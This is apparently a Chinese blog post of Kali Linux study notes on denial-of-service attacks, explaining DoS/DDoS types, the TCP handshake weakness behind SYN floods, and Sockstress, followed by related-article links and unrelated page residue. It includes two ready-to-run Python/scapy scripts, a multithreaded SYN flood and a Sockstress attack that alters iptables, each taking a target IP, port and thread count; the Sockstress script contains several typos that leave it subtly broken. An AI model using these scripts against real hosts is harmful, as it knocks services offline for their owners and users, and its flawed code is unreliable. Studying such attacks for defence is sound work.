Dos不是DOS(利用程序漏洞或一对一资源耗尽的denial of service拒绝服务)

DDoS分布式拒绝服务(多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型)

历史

以前:欠缺技术能力,ping死你(难缠)

现在:最强大,最危险的攻击,攻击方式众多(专业化的勒索,贩卖和租用肉鸡已经成为黑产中的重要部分,最终的办法就是拼资源,投资抗D,或者乖乖交保护费)

D网络:基于大量的flood耗尽目标网络带宽(ICMP Flood ,UDP Flood)

D协议:攻击协议漏洞发起的拒绝服务,(Syn Flood,Ping of Death,ARP,DNS,802.11,SSL)

D应用:针对应用程序和操作系统漏洞发起的拒绝服务攻击,大量的访问消耗应用(cc代理),通常表现为操作系统正常,网络流量巨大,但是服务停止响应。

从攻击者到受害者------网络---》FW--》服务器---》服务应用

资源耗尽------

网络:带宽

FW:吞吐量,并发连接

服务器:CPU,内存,I/O

应用:处理请求能力,对OS资源的使用权

程序漏洞攻击-----缓冲区溢出,协议,程序逻辑漏洞

Syn-Flood---常伴随ip欺骗

IP地址欺骗

经常用于dos攻击

根据ip头地址寻址(可以伪造ip源地址)

边界路由器过滤(入站,出站)

受害者可能是源,目的地址

绕过基于地址的验证

压力测试模拟多用户

上层协议(TCP序列号)

客户端发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号

第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgment)
 
第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。

以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)

问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,此时从正常客户的角度看来,服务器失去响应,服务器端受到了SYN Flood攻击(SYN洪水攻击

python实现攻击

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
    print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"
    print "举例: ./syn_flood.py 1.1.1.1 80 20"
    sys.exit()

target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])

print "正在执行 SYN flood 攻击,按 Ctrl+C 停止攻击."
def synflood(target,port):
    while 0 == 0:
        x = random.randint(0,65535)
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
    thread.start_new_thread(synflood, (target,port))

while 0 == 0:
    sleep(1)

抓包查看

Sockstress

针对tcp服务的拒绝服务攻击

消耗目标操作系统资源

与攻击目标建立大量的socket链接

完成三次握手,最后的ack包windows为0(客户端不接收数据)

攻击者资源消耗小(cpu,内存,带宽)

异步攻击,单机可对抗高配资源服务器

windows窗口实现的tcp流控

防御措施:

直到今天sockstress攻击仍然是一种很有效的Dos攻击方式

由于建立完整的TCP三次握手,因此使用syn cookie防御无效

根本的防御办法是采用白名单,但是不实际

折中对策,限制单位时间内每秒连接超市的TCP连接数

python脚本实现:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) !=4:
    print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"
    print "举例: ./sock_stress.py 10.0.0.5 21 20 ## 请确定呗攻击端口处于开放状态"
    sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])

## 攻击函数
def sockstress(target,dstport):
    while 0==0:
        try:
            x = random.randint(0,65535)
            response = srl(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)
            send(IP(dst=target)/ TCP(dsport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
        except:
            pass

## 停止攻击函数
def shutdown(signal, frame):
    print '正在恢复 iptables 规则'
    os.system('iptable -D OUTPUT -p tcp --tcp-flas RST RST -d ' + target + ' -j DROP')
    sys.exit()

## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, shutdown)

## 多线程攻击
print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
    thread.start_new_thread(sockstress, (target,dstport))

## 永远执行
while 0==0:
    sleep(1)

执行攻击并抓包查看

友情链接 http://www.cnblogs.com/klionsec

http://www.cnblogs.com/l0cm

http://www.cnblogs.com/Anonyaptxxx

http://www.feiyusafe.cn

kali linux之拒绝服务的更多相关文章

  1. kali linux之拒绝服务攻击工具

    hping3 几乎可以定制发送任何TCP/IP数据包,用于测试FW,端口扫描,性能测试 -c - 计数包计数  -i - interval wait(uX表示X微秒,例如-i u1000)       ...

  2. Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击

    Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击................... ...

  3. ApacheCN Kali Linux 译文集 20211020 更新

    Kali Linux 秘籍 中文版 第一章 安装和启动Kali 第二章 定制 Kali Linux 第三章 高级测试环境 第四章 信息收集 第五章 漏洞评估 第六章 漏洞利用 第七章 权限提升 第八章 ...

  4. kali linux下的arp攻击

    这是我第一篇博客,写的不好请谅解 ____________________________(分割线)_______________________________ 在kali linux系统下自带工具 ...

  5. kali linux之窥看女神上网隐私(ettercap+wireshark+zenmap +dsniff)

    作者:小波 http://www.cnblogs.com/xiaobo-Linux/ 无聊就玩了玩,不要干一些坏事哟~~网上也有一些文章关于kali linux的,就实战了一番.kali是用的debi ...

  6. KALI Linux problems & Study Red Hat | Ubuntu

    Problem When you ask some website with https head.you may met the problem  secure connection failed ...

  7. 调整Kali Linux的锁屏时间

    调整Kali Linux的锁屏时间   锁屏是保护隐私的一种重要机制.当用户不操作电脑一段时间后,系统会进入锁屏状态.用户需要输入口令,才能重新进入系统.避免因为操作人员离开电脑后,被其他人员利用现有 ...

  8. Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016

    Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016 0.1  本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Att ...

  9. windows下 安装Kali Linux到 U盘的方法

    作者:玄魂工作室 \ 2016年10月20日 把Kali Linux安装到U盘好处很多,可以从U盘启动使用整个电脑的硬件资源, 可以随身携带,减少对自己电脑的影响. 今天要给大家讲的是如何在windo ...

随机推荐

  1. Java标准I/O流介绍

    1.I/O是什么? I/O 是Input/Output(输入.输出)的简称,输入流可以理解为向内存输入,输出流是从内存输出. 2.流 流是一个连续的数据流,可以从流中读取数据,也可以往流中写数据.流与 ...

  2. apache 不解析 php

    apache 不解析php 1.找到: AddType application/x-gzip .gz .tgz在其下面添加: AddType application/x-httpd-php .php ...

  3. Python数据分析 EPD

    参考用书 <利用Python进行技术分析:Python for Data Analysis> 官方把epd (https://www.enthought.com/products/cano ...

  4. ubuntu&nbsp;12.04修改环境变量PAT…

    这里我只针对ubuntu 12.04进行了测试,由于不同的linux发行版本可能会有一些地方不一致,所以对于其他的linux发行版仅供参考. 1.直接在命令行里添加  我们先来看下下PATH的值 ec ...

  5. gdb 调试PHP

    扩展编译好用,通过php编码测试报“段错误",如果是c语言都是用gdb进行设置,那php扩展要如何进行调试呢?搜索了下,虽然是php扩展但是core是php 的core不是单个so扩展的co ...

  6. ArcGIS JS API实现的距离测量与面积量算

    转自https://www.cnblogs.com/deliciousExtra/p/5490937.html

  7. Lambda02 函数式接口

    1 java8默认提供的函数式接口 1.1 Predicate /* * Copyright (c) 2010, 2013, Oracle and/or its affiliates. All rig ...

  8. PCL点云库中的坐标系(CoordinateSystem)

    博客转载自:https://blog.csdn.net/qq_33624918/article/details/80488590 引言 世上本没有坐标系,用的人多了,便定义了坐标系统用来定位.地理坐标 ...

  9. javac老提示无效的标记

    加上-cp libs/*后,就开始提示无效的标记,搞了半天,似乎是shell展开的问题,估计是把后面的jar文件当源文件了? 加上引号就行了-cp "libs/*",不让shell ...

  10. Luogu 3594 [POI2015]WIL-Wilcze doły

    简单题. 考虑没有修改数字的条件的限制,我们直接用双指针扫描就可以计算出答案了. 然后考虑加入修改数字的条件,只要用单调队列维护出当前两个指针表示的区间中长度为$d$的一段区间的最大值,用总和减掉这个 ...